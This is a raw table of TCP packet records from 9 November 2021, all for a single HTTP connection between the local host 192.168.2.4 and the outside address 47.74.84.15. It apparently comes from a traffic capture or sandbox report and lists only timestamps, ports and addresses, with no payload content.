Nov 9, 2021 22:21:15.826607943 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826627970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826647997 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826668024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826669931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826688051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826711893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826719999 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826736927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826762915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826771021 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826786995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826811075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826813936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826836109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826860905 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826863050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826885939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826905966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826925993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826927900 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826946020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826970100 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.826977968 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.826993942 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827019930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827044010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827044964 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827069044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827079058 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827089071 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827115059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827140093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827155113 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827158928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827183962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827208042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827212095 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827233076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827241898 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827253103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827270031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827277899 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827301979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827327013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827331066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827352047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827366114 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827377081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827399969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827424049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827425957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827449083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827460051 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827472925 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827497005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827517033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827521086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827545881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827569962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827574968 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827595949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827620029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827620983 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827645063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827652931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827667952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827692986 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827706099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827712059 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827732086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827750921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827775002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827780008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827800035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827821970 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827824116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827843904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827867985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827868938 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827892065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827903032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827917099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827934027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.827940941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827965021 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.827989101 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828000069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828016043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828041077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828063965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828067064 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828088045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828103065 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828113079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828136921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828160048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828166008 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828186989 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828203917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828212023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828237057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828257084 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828275919 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828277111 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828295946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828305006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828320026 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828336954 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828344107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828367949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828392029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828396082 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828417063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828428030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828437090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828460932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828461885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828484058 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828504086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828527927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828533888 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828552961 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:15.828583002 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.828625917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:15.831895113 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.128978014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129044056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129137993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129159927 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.129317045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129376888 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.129427910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129645109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129704952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.129796982 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129914045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129952908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.129976034 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.129988909 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130027056 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130063057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130069017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130100965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130114079 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130206108 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130249023 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130265951 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130285025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130322933 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130434990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130458117 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130476952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130505085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130507946 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130530119 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130547047 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130556107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130583048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130609035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130625963 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130635977 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130655050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130661011 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130686998 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130713940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130729914 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130739927 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130755901 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130767107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130794048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130804062 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130820990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130847931 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130872965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130884886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130898952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130913019 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.130924940 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130949974 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130975962 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.130987883 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131000996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131012917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131027937 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131055117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131072044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131078959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131104946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131131887 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131150007 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131156921 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131175041 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131184101 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131211996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131221056 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131237984 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131266117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131283045 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131289959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131315947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131341934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131360054 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131366014 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131385088 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131392956 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131418943 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131431103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131445885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131474018 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131499052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131509066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131525040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131537914 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131551981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131576061 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131674051 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131705999 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131735086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131761074 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131778002 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131787062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131803036 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131814003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131840944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131865978 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131881952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131891966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131908894 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131917953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131942987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131968975 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.131985903 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.131994963 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132011890 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132020950 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132046938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132056952 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132071972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132097960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132123947 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132134914 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132149935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132162094 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132175922 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132201910 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132220030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132230043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132257938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132268906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132282972 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132308960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132328033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132335901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132360935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132386923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132404089 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132414103 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132432938 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132440090 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132467031 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132491112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132508039 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132517099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132534981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132544041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132567883 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132594109 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132611036 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132621050 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.132639885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.132647991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.133028030 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.144896984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.433588028 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.433692932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434020042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434062004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434079885 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434098959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434112072 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434137106 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434144974 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434175968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434182882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434212923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434228897 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434253931 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434261084 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434292078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434319973 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434329033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434360027 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434367895 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434396982 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434406042 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434433937 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434444904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434474945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434482098 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434484005 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434520960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434550047 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434559107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434587002 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434597015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434623957 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434633017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434663057 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434669971 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434670925 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434709072 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434740067 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434746981 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434771061 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434787989 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434793949 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434824944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434839010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434864044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434870958 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434901953 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434931993 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434938908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434954882 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.434978008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.434984922 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435015917 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435028076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435055017 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435061932 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435094118 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435101032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435129881 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435142994 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435168028 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435183048 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435205936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435214043 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435244083 CET	80	49813	47.74.84.15	192.168.2.4
